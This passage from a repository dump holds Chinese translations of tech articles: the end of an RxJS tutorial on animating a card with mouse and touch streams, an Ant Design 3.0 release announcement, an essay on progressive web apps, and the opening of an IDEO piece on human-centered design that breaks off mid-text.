或者做些其他的操作,来创建和组合新的 observable。最后,你还可以 subscribe(订阅)到这些 observable 上,来对最后的数据流进行你想要的任何操作。这些就是 RxJS 的用武之处。 ### RXJS 上手 开始使用 [RxJS](http://reactivex.io/rxjs/) 最简单的方式是使用 CDN,尽管根据你的项目需求,有 [很多安装它的方法](http://reactivex.io/rxjs/manual/installation.html)。 ``` HTML ``` 一旦你的项目里有了 RxJS,你可以从 **任何东西** 开始创建一个 observable: ``` JS const aboutAnything = 42; // 从 just about anything(单个数据)创建。 // observable 发送这个数据,然后完成。 const meaningOfLife$ = Rx.Observable.just(aboutAnything); // 从一个数组或一个可迭代对象创建。 // observable 发送数组中的每个元素,然后完成。 const myNumber$ = Rx.Observable.from([1, 2, 3, 4, 5]); // 从一个 promise 创建。 // observable 发送最终的结果,然后完成(或者抛出错误)。 const myData$ = Rx.Observable.fromPromise(fetch('http://example.com/users')); // 从一个事件创建。 // observable 连续地发送事件监听器上的事件。 const mouseMove$ = Rx.Observable .fromEvent(document.documentElement, 'mousemove'); ``` **注意:变量后的美元符(`$`)只是一个约定,用于表明这个变量是 observable。** observable 可以被用于代表任何可以用伴随时间流动的数据流表示的东西,比如事件、Promise、定时执行函数、间隔执行函数和动画。 现在创建的这些 observable 并不做任何有意义的事,除非你真正地 **observe** 它们。**subscription** 就是做这个的,可以用 `.subscribe()` 来创建它。 ``` JS // 只要我们从 observable 收到一个数, // 就将它打印在控制台上。 myNumber$.subscribe(number => console.log(number)); // 结果: // > 1 // > 2 // > 3 // > 4 // > 5 ``` 让我们在实战中来学习下: [codepen](http://codepen.io/davidkpiano/pen/d6f5fa72a9b7b6c2c9141de6fa1ab93f) ``` JS const docElm = document.documentElement; const cardElm = document.querySelector('#card'); const titleElm = document.querySelector('#title'); const mouseMove$ = Rx.Observable .fromEvent(docElm, 'mousemove'); mouseMove$.subscribe(event => { titleElm.innerHTML = `${event.clientX}, ${event.clientY}` }); ``` 通过 `mouseMove$` observable,每一次 `mousemove` 事件发生,subscription 将 `titleElm` 的 `.innerHTML` 更改为鼠标的当前位置。[`.map`](http://reactivex.io/rxjs/class/es6/Observable.js%7EObservable.html#instance-method-map) 操作符(与 `Array.prototype.map` 的工作机制类似)可以帮助简化这段代码: ``` JS // 产生如 {x: 42, y: 100} 这种结果,而不是整个事件 const mouseMove$ = Rx.Observable .fromEvent(docElm, 'mousemove') .map(event => ({ x: event.clientX, y: event.clientY })); ``` 使用一点点计算和内联样式,你可以让卡片跟着鼠标旋转。`pos.y / clientHeight` 和 `pos.x / clientWidth` 的值都在 0 到 1 之间,所以乘上 50 再减掉一半(25)会产生 -25 到 25 之间的值,也就是我们的旋转值所需要的: [codepen](http://codepen.io/davidkpiano/pen/55cb38a26b9166c41017c6512ea00209) ``` JS const docElm = document.documentElement; const cardElm = document.querySelector('#card'); const titleElm = document.querySelector('#title'); const { clientWidth, clientHeight } = docElm; const mouseMove$ = Rx.Observable .fromEvent(docElm, 'mousemove') .map(event => ({ x: event.clientX, y: event.clientY })) mouseMove$.subscribe(pos => { const rotX = (pos.y / clientHeight * -50) - 25; const rotY = (pos.x / clientWidth * 50) - 25; cardElm.style = ` transform: rotateX(${rotX}deg) rotateY(${rotY}deg); `; }); ``` ### 使用 `.merge` 进行结合 现在你如果想要响应鼠标移动,并在触摸设备上响应触摸移动,你可以使用 RxJS 用不同的方式来结合 observable,不会再有任何因为回调带来的混乱。在这个例子里,我们将使用 [`.merge`](http://reactivex.io/documentation/operators/merge.html) 操作符。就像将多个车道融入单个车道,这将返回单个 observable,其中包含了从多个 observable 融合来的所有数据。 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/02/merge.png) JS const touchMove$ = Rx.Observable .fromEvent(docElm,'touchmove').map(event =>({ x: event.touches[0].clientX, y: event.touches[0].clientY })); const move$ = Rx.Observable.merge(mouseMove$, touchMove$); move$.subscribe(pos =>{// ...}); 继续,尝试着在触摸设备上左右平移: [codepen](http://codepen.io/davidkpiano/pen/4a430c13f4faae099e5a34cb2a82ce6d) 也有一些别的 [有用的用于组合 observable 的操作符](http://reactivex.io/documentation/operators.html#combining),譬如`.switch()`,`.combineLatest()` 和 `.withLatestFrom()`,我们接下来会讨论这些。 ### 加入平滑运动(Smooth Motion) 因为旋转卡片实现得太简洁,其运动有一点点生硬。无论什么时候鼠标(或手指)一停,旋转戛然而止。为了补救这点,可以使用线性插值(LERP)。Rachel Smith 的 [这个教程](https://codepen.io/rachsmith/post/animation-tip-lerp) 里描述了这种通用技术。从本质上说,不再直接从 A 点跳到 B 点,LERP 将在每个动画帧上走一部分路。这就产生了平滑的过渡,即使鼠标/触摸已经停止。 让我们创建一个函数,这个函数有一个职责:给定一个开始值和一个结束值,使用 LERP 计算下一个值: ``` JS function lerp(start, end) { const dx = end.x - start.x; const dy = end.y - start.y; return { x: start.x + dx * 0.1, y: start.y + dy * 0.1, }; } ``` 很短小但是很棒的一段代码。我们有一个 **纯** 函数,每次返回一个新的、线性插值后的位置值,通过在每个动画帧将当前(开始)位置移动 10% 来靠近下一个(结束)位置。 #### Scheduler 和 `.interval` 现在的问题是,我们怎么在 RxJS 里表示动画帧?答案是,RxJS 有一个叫做 **Scheduler** 的东西,它可以控制数据 **什么时候** 从一个 observable 被发送,以及一些其他功能,比如什么时候 subscription 应该开始接收数据。 使用 [`Rx.Observable.interval()`](http://reactivex.io/documentation/operators/interval.html),你可以创建一个在规律定时的间隔上发送数据的 observable,比如每一秒(`Rx.Observable.interval(1000)`)。如果你创建一个微小的间隔,比如 `Rx.Observable.interval(0)` ,并将它定时为只在使用了 `Rx.Scheduler.animationFrame` 的每个动画帧上发送数据的话,一个数据将会每 16 到 17 毫秒被发送,就像你希望的那样,在一个动画帧内: ``` JS const animationFrame$ = Rx.Observable.interval(0, Rx.Scheduler.animationFrame); ``` #### 使用 `.withLatestFrom` 进行结合 为了创建一个平滑的线性插值,你只需要关心在 **每个动画帧** 的最新的鼠标/触摸位置。可以使用操作符 [`.withLatestFrom()`](http://reactivex.io/rxjs/class/es6/Observable.js%7EObservable.html#instance-method-withLatestFrom) 来实现: ``` JS const smoothMove$ = animationFrame$ .withLatestFrom(move$, (frame, move) => move); ``` 现在,`smoothMove$` 是一个新的 observable,**只有** 当 `animationFrame$` 发送一个数据时,才会从 `move$` 发送最新的数据。这也是我们想要的——你不想要数据从动画帧外被发送(除非你实在喜欢卡顿)。第二个参数是一个函数,其描述了与每个 observable 最新的数据结合时需要做什么。在这种情况下,唯一重要的值是 `move` 值,也就是返回的所有东西。 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/02/with-latest-from.png) #### 使用 `.scan` 进行过渡 既然你有一个 observable ,它能在每个动画帧上从 `move$` 发送最新的数据,是时候加入线性插值了。如果指定一个传入当前和下一个值的函数[`.scan()`](http://reactivex.io/documentation/operators/scan.html) 操作符会从一个 observable 中「累积」这些值。 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/02/scan.png) 对于我们的线性插值用例来说,这是最好不过的了。记住我们的 `lerp(start, end)` 函数传入两个参数:`start`(当前)值和 `end`(下一个)值。 ``` JS const smoothMove$ = animationFrame$ .withLatestFrom(move$, (frame, move) => move) .scan((current, next) => lerp(current, next)); // or simplified: .scan(lerp) ``` 现在,你可以 subscribe 到 `smoothMove$` 上,而不是 `move$` 上,从而在动作中看到线性插值: [codepen](http://codepen.io/davidkpiano/pen/YNOoEK) ### 总结 RxJS **不** 是一个动画库,这是自然,但是使用可组合的、描述式的方式来处理伴随时间流动的数据,对于 ReactiveX 而言是一个核心概念,因此动画是一种能很好地展现这个技术的方式。响应式编程是另一种编程的思维方式,有许多优点: - 它是声明式的、可组合的,以及不可变的,这避免了回调地狱,让你的代码更加简洁、可复用以及模块化。 - 它在处理任何类型的异步数据上都很有用,无论是获取数据、通过 WebSockets 通信,从多个源头监听外部事件,还是动画。 - “关注点分离”——你使用 Observable 和操作符声明式地表示你想要的数据,然后在一个单独的 `.subscribe()` 里处理副作用,而不是将这些在你的代码库里洒得到处都是。 - 有 **如此多** 语言的实现——Java、PHP、Python、Ruby、C#、Swift,以及别的你甚至没听过的语言。 - 它 **不是一个框架**,很多流行框架(比如 React,Angular 和 Vue)都跟它一起工作得很好。 - 如果你想的话,你可以得到很酷的点,但是 ReactiveX 最早在接近十年以前(2009)被实现,从 [Conal Elliott 和 Paul Hudak](http://conal.net/papers/icfp97/) **二** 十年以前(1997)的想法中被提出,这个想法描述的是函数式响应式动画(真是惊奇啊真是惊奇)。不用说,它是经过战斗考验的。 本文探索了一系列 RxJS 中有用的部分和概念——使用 `.fromEvent()` 和 `.interval()` 创建 observable,使用 `.map()` 和 `.scan()` 操作 observable,使用 `.merge()` 和 `.withLatestFrom()` 结合多个 observable,以及使用 `Rx.Scheduler.animationFrame` 引入 scheduler。以下是一些学习 RxJS 的其他有用资源: - [ReactiveX: RxJS](http://reactivex.io/rxjs/) - 官方文档 - [RxMarbles](http://rxmarbles.com/) - 用于可视化 observable - Andre Staltz 写的 [你曾错过的响应式编程入门](https://gist.github.com/staltz/868e7e9bc2a7b8c1f754) 如果你想要在 RxJS 的动画上钻得更深的话(并且使用 CSS 变量变得更加声明式),可以查看 [我在 2016 年 CSS 开发大会上的幻灯片](http://slides.com/davidkhourshid/reactanim#/) 和 [我在 2016 年 JSConf Iceland 上的讲话](https://www.youtube.com/watch?v=lTCukb6Zn3g)。为了给你更多灵感,这里有一些使用了 RxJS 来做动画的代码: - [3D 数字时钟](http://codepen.io/davidkpiano/pen/Vmyyzd) - [心率 app 概念](http://codepen.io/davidkpiano/pen/mAoaxP) - [使用 RxJS 的透镜式拖动](http://codepen.io/Enki/pen/eBwKgO) ================================================ FILE: TODO/announcing-ant-design-3-0.md ================================================ > * 原文地址:[Announcing Ant Design 3.0](https://medium.com/ant-design/announcing-ant-design-3-0-70e3e65eca0c) > * 原文作者:[Meck](https://medium.com/@yesmeck?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/announcing-ant-design-3-0.md](https://github.com/xitu/gold-miner/blob/master/TODO/announcing-ant-design-3-0.md) > * 译者:[木羽](https://github.com/zwwill) > * 校对者:[Usey95](https://github.com/Usey95),[swants](http://www.swants.cn) # Ant Design 3.0 驾到 ![](https://cdn-images-1.medium.com/max/2000/1*LipB3O0Bt3sdeP4V9ZILeQ.png) > **[Ant Design](https://ant.design/index-cn) 是一个致力于提升「用户」和「设计者」使用体验,提高「研发者」开发效率的企业中后台设计体系。** 14 个月前我们发布了 **Ant Design 2.0**。期间我们收到了 200 多位贡献者的 PR,经历了大约 4000 个提交和超过 60 个[版本](https://github.com/ant-design/ant-design/releases) ![](https://cdn-images-1.medium.com/max/800/1*lo18e8-74pk6w5jLPy7npA.png) GitHub 上的 star 数也从 6k 上升到了 20k。 ![](https://cdn-images-1.medium.com/max/1000/1*pn8DEp6GwBgoVksi9kwMuw.png) 自 2015 年以来的 GitHub star 趋势。 ![](https://cdn-images-1.medium.com/max/800/1*Pyy85SEu0fYxthrWe7vv-A.png) **今天,我们很高兴地宣布,Ant Design 3.0 正式发布了**。在这个版本中,我们为组件和网站做了全新的设计,引入了新的颜色系统,重构了多个底层组件,加入了新的特性和优化,同时最小化不兼容的更改。[这里](https://ant.design/changelog-cn#3.0.0)可查看到完整的更改日志。 这是我们的主页:[https://ant.design/index-cn](https://ant.design/index-cn) ### 全新的颜色系统 我们的新颜色系统源于天空的启发,因为她的包容性与我们品牌基调一致。基于对天空色彩随时间自然变化的观察,对光和阴影规则的研究,我们重新编写了颜色算法来生成一个[全新的调色板](https://ant.design/docs/spec/colors-cn),相应的层次也进行了优化。新调色板的感官更年轻,更明亮,灰度过渡得更自然,是感性美和理性美的完美结合。此外,所有主流色值都参照了信息获取标准。 ![](https://cdn-images-1.medium.com/max/1000/1*PzbgW3jZA9uyR8JszwLgAw.png) ### 组件的新设计 在之前的版本中,组件的基本字体大小是 12px,我们收到了很多来自社区的反馈,建议我们加大字号。我们的设计师也意识到,在大屏幕普及的今天,14px 是更合适的字体大小。因此,我们将基本字体大小增大到了 14px,并对所有组件的尺寸进行了适配。 ![](https://cdn-images-1.medium.com/max/2000/1*NIlj0-TdLMbo_hzSBP8tmg.png) ### 组件重写 我们重写了 `Table` 组件来解决一些历史性问题。引入了一个新的工具 `components`,现在你可以使用这个工具来高度定制 `Table` 组件,这里有一个[示例](https://ant.design/components/table-cn/#components-table-demo-drag-sorting),可以添加拖拽功能。 `Form` 组件也被重新编写,为表单嵌套提供更好的支持。 另一个重写的组件是 `Steps`,这个重写的 `Steps` 有着更简单的 DOM 结构并且兼容到IE9。 ### 全新的组件 这个版本,我们新增了两个组件, **List** 和 **Divider**。 `List` 组件对于文本、列表、图片、段落和其他数据的显示非常方便。与第三方库集成也很简单,例如,您可以使用 [react-virtualized](https://github.com/bvaughn/react-virtualized) 来实现无限加载列表。更详细的例子可以参考 [List](https://ant.design/components/list-cn/) 文档。 `Divider` 组件可用于在不同的章节中分割文本段落,或者将行内文本/链接分开,如表的动态列。详细的示例可以参考 [Divider](https://ant.design/components/divider-cn/) 文档。 ### 全面支持 React 16 和 ES 模块 在这个版本中,我们增加了对 React 16 和 ES 模块的支持。如果你正在使用 webpack 3,那么你现在可以通过 `tree-shaking` 和 `ModuleConcatenationPlugin` 来享受 antd 对组件的优化。如果你使用的是 `babel-import-plugin`,只需将 `libraryDirectory` 设置到 `es` 目录。 ### 更友好的 TypeScript 支持 在我们的代码中,我们已经删除了所有的隐式 `any` 类型,在您的项目中不再需要配置 `"allowSyntheticDefaultImports": true`。如果您计划使用 TypeScript 来编写项目,请参考我们的新文档 「[在 TypeScript 中使用](https://ant.design/docs/react/use-in-typescript-cn/)」。 ### 😍 还有一件事儿 ![](https://cdn-images-1.medium.com/max/1000/1*YHn_dMzMYfkIL2Hr5TvXcQ.png) 有些人可能已经知道了,我们正在开发另一个名为 [Ant Design Pro](https://pro.ant.design/) 的项目,它是一个企业级中后台前端/设计解决方案,是基于 Ant Design 3.0 的 React Boilerplate。尽管它还没有达到[ 1.0 版本](https://github.com/ant-design/ant-design-pro/issues/333)。但是随着 antd 3.0 的发布,现在可以投入使用了。 ### 接下来 我们的设计师正在重新编写我们的设计指南,并设计一个新的 Ant Design 官网。我们非常高兴能够提供更好的设计语言,以激发更多构建企业级应用的灵感。 为了使 1.0 早日成型,我们的工程师正在投入到 Ant Design Pro 努力工作,同时我们也需要你的帮助来[翻译我们的文档](https://github.com/ant-design/ant-design-pro/issues/120) ### 最后 如果没有你们的支持、反馈和参与,就不可能有今天的成功。感谢优秀的 Ant Design 社区。如果您在使用 antd 时遇到任何问题,可随时在 GitHub [提交问题](https://github.com/ant-design/ant-design/issues/new)。 感谢你的阅读。敬请安装、star、尝试。 🎉 ### 链接 * [Ant Design](https://ant.design) * [Ant Design Github Repository](http://github.com/ant-design/ant-design) * [Ant Design Pro](https://pro.ant.design/) * [Ant Design Mobile](https://mobile.ant.design/) * [NG-ZORRO — An Angular Implementation of Ant Design](https://ng.ant.design) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/any-web-site-can-become-a-pwa-but-we-need-to-do-better.md ================================================ > * 原文地址:[Any web site can become a PWA – but we need to do better](https://christianheilmann.com/2017/06/27/any-web-site-can-become-a-pwa-but-we-need-to-do-better/) > * 原文作者:本文已获原作者 [Christian Heilmann](https://christianheilmann.com/about-this/) 授权 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/any-web-site-can-become-a-pwa-but-we-need-to-do-better.md](https://github.com/xitu/gold-miner/blob/master/TODO/any-web-site-can-become-a-pwa-but-we-need-to-do-better.md) > * 译者:[wilsonandusa](https://github.com/wilsonandusa) > * 校对者:[LeviDing](https://github.com/leviding), [Weiting Zhang](https://github.com/Weiting-Zhang)             # 任何网站都可以成为渐进式网络应用 - 但我们需要做的更好 看完[ Jeremy 的博客 ](https://adactio.com/journal/12461), 我突然觉得间眼前一亮。 > 不管其它人是怎么说的,任意一个网站确实都可以并且应该成为渐进式网络应用。 我去年在一个活动中听到 Chris Heilmann 说你不应该把自己的博客打造成一款渐进式网络应用时,我简直不敢相信我的耳朵。他在视频通话中反复强调:“比方说,我不懂为什么会有人把自己的博客打造成一款渐进式网络应用。我可不想在我的桌面上添加一个图标,这对我而言毫无意义。” 不好意思,只因为你不想在你自己的手机桌面上添一个图标,别人就不应该使用一项最新的技术吗? 请原谅我说粗话,但,靠,去他妈的!。 > 我们的想象力被当前移动端应用所局限,使得我们像一群没见过世面的原始人那样,一直模仿并持续当前的状态。 > 我不希望网站被原生化;我希望网站能超越原生。我不希望我的屏幕主页布满创业团队和个大公司的标准化应用图标。一个能够让我们自由发布内容的网站才是我想要的。 其实,**我不是告诉大家不要去使用出色且现代化的技术来造福用户并提升自己发布内容的便利**。渐进性网站应用本身的组成能够使其变得比现在更加成功。 ![PWA presentation at JSPoland](https://christianheilmann.com/wp-content/uploads/2017/06/ShareX_2017-06-27_16-52-48-1009x1024.jpg)我正在告知全世界渐进式网站可以应用到任何事上。 **我希望我们能做的更多**。我希望现代网络技术仅仅是一个个人使用的东西。我希望我们在平时工作中就能接触并使用到它,而不是要带到工作中,更不是仅惊叹于某人所做或某个公司所做的精彩的页面展示。 在目前所处的大环境下,我们可以使用任何强大的技术,但我们应该把目标定的更高些。我们需要找到哪里会出问题,然后使用更简便明智的方式来取代那些老旧的解决方法。我没有能力告诉任何一个人,在写博客的时候不该使用某项技术,但我也不希望看到一大堆用户体验极差的渐进式网站的出现。以前我们做过太多这样的事了,既然现在我们有这么好的方法,那我们一定要用好的方法来做。 我已经不止一次地公开反对目前的商店形式,因为它们阻碍了大家的使用。在有网络的情况下,这就像是人造的障碍,对吧? 也许,事实上新的一代人只知道应用程序,而不是网络程序。在他们眼中网站永远充满广告和恶意软件,应该一直被屏蔽。在一些网络信号不好的地方,人们竟然认为脸书程序就是网络。因为它用起来比那些庞大的网站更方便一些。 当我说我不理解为什么要把私人博客转变成渐进式网站时,我指的就是其中令人困惑的应用程序这部分。对我而言,一个应用程序是用来“做”一件事的,而不是去“读”一件事的。我不理解为什么会有连线杂志,卫报,滚石,时代周刊这类应用程序。那么多程序图标们根本没办法都挤在桌面上。我用 RSS 阅读器来浏览博客。我用电子书来阅读(或者浏览网站)。我用 Spotify 或者 iTunes 来听音乐。我可没有给每个乐队或者每部电影下一个应用程序。 我在网上已经为 donkey's 发布过很多文章了,我选择使用博客是因为我不知道你喜欢怎样的方式,我很喜欢这种方式。我觉得你的桌面上不应该出现一个 “Chris Heilmann” 的图标,而应该是一篇推文或者一个书签。你在博客里只能阅读。使用你最开心的方式来写。 我非常赞同 Jeremy: > 我不希望网站被原生化;我希望网站能超越原生。 这就是我不希望把博客变成一个应用程序的原因 - 不论哪种形式的应用程序。我希望人们能创造出比书签功能更丰富的渐进式网站 - 甚至离线时,如果有新内容也可以通知我。 这是否就意味着我不赞同你使用一个 manifest 和 service worker 去改进你的网站或者博客呢?一点也不。尽管去做一切对的事。尤其是去做渐进式网站所需的事:停止使用 HTTP 发布并且加密你的服务器。阻止来自中间人的黑客攻击,尤其是那些很高兴成为中间人的政府机构。 我希望网站能在最需要它们的地方成功。我希望原生程序能消失。我不想为了买一张柏林的地铁票而去下载一个程序。我不想每到一个机场都要下一个程序。我尤其讨厌每次参加一次活动都要下载程序。我不想为了我常去的餐厅而下载一个程序。我不需要为这种关系而牺牲我手机上或者电脑桌面/快速启动栏中仅有的一部分存储空间。 我们需要网站在原生程序糟糕的地方超越它:分布式和便捷性。我不希望大家为了完成每件事都去商店下载安装并运行一个程序。我希望大家不用信用卡就能接触到免费的内容。你需要一张信用卡才能使用应用程序商店的免费程序 - 这是一个很大的障碍。我希望大家寻找下列火车,预定餐厅,预约医生或寻找任何东西都不需要考虑网络的连接或者设备的选择。我希望人们能拍照并分享图片。我不希望人们为了不去下载每天 50MB 的升级补丁而一直使用不安全且过时的程序。我不希望人们使用手机自带的程序或者把浏览器当作最后稻草。为了做到以上这些,我们需要拥有更出名的实体和更好的播放器的强大渐进式网站。 ![购买前记得先尝试](https://christianheilmann.com/wp-content/uploads/2017/06/ApplicationFrameHost_2017-06-27_17-20-27-875x1024.jpg)[渐进式网站就是购买前先尝试](https://twitter.com/lakatos88/status/876713746655215616) 我希望用户们能知道掌控权在自己手中。就像我上周在波兰说的一样,渐进式网站就是可以在购买前先进行试用。你登陆某个网址,发现喜欢你所看到的内容。几次浏览后你决定提升这个网站所能控制的权限,比如离线工作甚至给你发送通知。 一个渐进式网站需要能争取到些权限。因此我们需要一个不错的例子。我不再使用原生的 Twitter 了,[Twitter Lite](https://lite.twitter.com/) 能够使用并节省大量的数据和内存。我给很多人展示过这个例子,大家都卸载了原生的 Twitter 程序。这就是我们需要的。 每次我们提倡使用网站都会不断强调这几点: - 更加简单的发布方式 - 人人都能接触内容 - 不受制于任何人 - 平台独立,形式独立,邀请独立 当你看到一个日用户量超百万的网站时,情况就很不一样了。 很不幸每个浏览器制造商都有一个跨浏览器协议部门。我们都能为大公司指出他们产品报错的地方并提供解决方法。我们甚至能给予开发者网络工具包以外的解决资源。几乎所有案例中我们都会被问到这样做的商业利益是什么。 当然我们也有不少小胜利,但当前形势下让某人去接受使用网站是很无情的。在我们眼中这样做是非常棒的。 这是为什么?我们拥有技术。我们拥有知识。我们拥有来着无数访谈、书籍和推文的信息。问题是我们应该面向谁。是谁最初建立了如此糟糕的网络?或又有谁在家里搞出了很赞的产品,然而在工作时于由于产品已经无法修复而陷入困境? 当我说我不希望博客成为一款应用程序我不是说你不应该给你的博客增加负荷。我不会阻止任何人去发布内容或使用技术。 但是,我觉得仅仅这样是不够的。我们需要商业上的成功。我们需要打败原生程序的市场。我们需要通过打造更好的依靠网络的解决方式来揭穿原生程序便捷性虚假的一面。 我们已经证明了网站能够良好地支持自我发布内容。目前我们需要面向那些构建iOS 和 Android 应用的人员,为他们的公司提供一个更加功能化的可在线展示的网站。我们可能觉得这是常识,但实际上并不是。我们需要再次提醒人们网络的伟大以及使用网络技术是多么简单。 为此,我们的首要任务便是找到如何在网络上大规模盈利。我们需要找到除了加载广告以外能让用户为内容支付的方式。我们需要展示大量广告及产品的商业型成功案例。 Google 在宣传渐进式网络上花了不少钱。每个大型网络公司都这样做了。我也与合作商联合实现过跨浏览器将普通网站转型为渐进式网站。[这里有很多适合学习的案例](https://developers.google.com/web/showcase/2016/)。我们需要更多的例子。 我不希望开发者为了私人项目需要用空闲时间去学习一项全新的技术。我希望公司能理解渐进式网站的价值以及 - 更重要的是 - 解决目前对网络的误解并且不断地对其进行维护。 如果你认为这些渐进式网站的案例都是与运气有关,是因为参与的人恰好热爱网络 - 请三思。说服一家公司去做一件“十分明显”的事往往要付出极大的精力,以及大量的时间与金钱。许多公司内部的开发者会不顾自己的前途去劝上级使用另一种解决方式来满足需求。我们需要这样做,我们需要提醒大家想要质量就要付出努力,而不是仅仅给一个无法维护的老项目加个 manifest 和 service worker 那么简单。 Jeremy 希望世界变成: > 我不希望我的屏幕主页布满创业团队和个大公司的标准化应用图标。然而一个布满能够自由发布内容的网站的手机主屏才是我想要的。 我想要做的更多。我希望商业广告的世界和线上交易市场并不只有原生应用程序和封闭的市场。我不希望大家都觉得为了接触一些内容而去买一台 iPhone 很正常。我不希望公司在能用网络开发的时候却为了在应用商店里展示一款应用程序而花大价钱。我觉得我们现在所处的世界正是 Jeremy 所描述的。而且 - 我想再强调 - 如果大家都认为这一个好想法而且想要这么做,那么我希望大家都能接受它。 为了将你目前的网络产品转换为渐进式网站,任何的努力都不会变为徒劳。你做的这些,对产品的质量与寿命而非常有益。这是最棒的地方。但这也意味着你需要控制产品的质量,以让那些有安装 APP 需求的人获得他们所需要的东西。我们之前讨论过这些质量目标,目前有几家公司开始推行他们的想法了。这不意味着我们要审查网络或者让雇员们停工(公司以外也有人为此而工作)。这意味着我们不想再次重演 “HTML5 应用程序用户体验极差”的悲剧。 我已经用了好多年博客了。我从中学到了很多,这很棒。但我不希望网络成为人们所信奉的一件事。我希望大家别把网络当做应用程序的货仓来使用 - 尤其是广告公司。我们为了制作能让大家每天都接触网络的产品而逃避了很多责任。目前应用程序/商店的没落是极好的机会。我希望每个感兴趣有想法的人都参与其中。 我无法想象我会拥有一部全都是人脸图标的手机。这应该是本电话簿才对。同样的道理我用电子书(就是我的浏览器)来阅读。我不需要为每个作者而拥有一款应用程序。 我觉得拥有一款阅读收集器的想法不错,这样可以用来查看最新且能触发灵感的摘要。我喜欢使用能帮我进行寻找的阅读器。这样如果我想和这些著作背后的作者聊聊我可以直接联系他们来交谈,或者 - 更好的是 - 直接和他们见面。 一款应用程序 - 对我而言 - 是用来做一件事的。 这个博客对我而言是一款应用程序,对其他人而言就不是了。你无法进行编辑。我甚至关掉了评论区所以我能花更多的时间在调整内容而不是回答问题上。这就是为什么它不是一款渐进式网络程序。我可以改变这个网站,但我总觉得当你把我的网站放到你的手机主屏上时我就应该多发点文章。 所以当我说个人博客对我而言不是渐进式网站时,这就是我想说的。应用程序是用来做一件事的。如果我除了阅读或者分享外做不了什么,那么你可以把这个网站改成渐进式网站。但我可能不会去安装。我不会去下载 Kim Kardashian 或某个乐队的应用程序也是出于同样的原因。 这和你发表文章的权利没关系。而是有关能否在用户的主屏幕,快速启动栏或者桌面上有限的空间里占得一席之地。如果你喜欢在屏幕上加满朋友的博客或者你喜欢的人 - 很好。我其实想看到在不久的将来出厂手机能为了这类人而自带渐进式网络程序。而不是需要 200MB 升级包,最终又无法升级而遗留安全问题的应用程序。我希望网络连接能集中在最新的设备中,为此我们需要把目标定的更高,做得更好。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/applying-human-centered-design-to-emerging-technologies.md ================================================ > * 原文地址:[Applying human-centered design to emerging technologies](https://medium.com/googleplaydev/applying-human-centered-design-to-emerging-technologies-6ad7f39d8d30) > * 原文作者:[IDEO](https://medium.com/@ideo?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/applying-human-centered-design-to-emerging-technologies.md](https://github.com/xitu/gold-miner/blob/master/TODO/applying-human-centered-design-to-emerging-technologies.md) > * 译者:[dongpeiguo](https://github.com/dongpeiguo) > * 校对者:[dreamhb](https://github.com/dreamhb) [ryouaki](https://github.com/ryouaki) # 新兴技术领域中以用户为中心的设计的应用 ## VR(虚拟现实), AR(增强现实),以及电子助手为未来提供了令人激动的可能,但是如何确保我们的设计是人们真正想要的呢? 作者[_Peter Hyer_](https://medium.com/@phyer)_,_ [_Fabian Herrmann_](https://medium.com/@fherrmann)_, 和 [_Kristin Kelly_](https://medium.com/@heykk) ![](https://cdn-images-1.medium.com/max/2000/1*N55eb498TKixiLSiy3Olow.jpeg) **_“如果我可以去任何地方,我想带着我的狗吃着冰淇淋坐着我的金色兰博基尼飞去火星。”_** — Amadi, 11岁 当你梦想着未来的时候,你会看到什么? 你是否梦想过可以同时测距离和水平面?你是否幻想热词和话语的捕捉?可能没有。最可能的是,当你想到未来的时候,你想象你可以去的地方,可以做的事情以及你可以成为的人,就像你小时候的想法。 今年早些时候,Google Play与IDEO联系,想要找出像虚拟现实、增强现实、电子助手以及即时应用(不需要你下载和安装的应用)这些可能会有所帮助的新兴技术。随着这些新技术的出现,它们的应用将有无限的可能性。在未来,许多事情都将成为可能,但是什么才是有用且令人满意的呢?人们将如何将这些技术融入他们的生活?当他们想到这些技术可以为他们做什么时,他们想要的是什么?他们想去哪里?他们想象什么?谷歌很想知道。 自从人成为了IDEO设计工作的中心,我们开始与人们交谈,并询问他们关于他们希望这些技术的未来是什么样的。 ![](https://cdn-images-1.medium.com/max/800/1*rM73xoDs5G0ycitgQxJgSA.png) 我们和这四种技术的创造和持有者(包括专家,艺术家和开发人员)以及从小学生到早期的使用者以及技术恐惧者沟通。我们在旧金山举办了面对面的交谈,准备了零食和饮料,以更好的了解他们。我们进行了以未来为话题中心,激发了积极而随性的讨论。 我们有意的不去讨论具体的品牌、平台和功能。取而代之的是我们创造了一种设计练习。这种练习将每个技术抽象成可以持有,可以穿戴、可以想像、可以体验的。 以下是我们所听到的重点: 通过这些研究课程,我们明确了每种新兴技术可以提供独特的截然不同的前景: 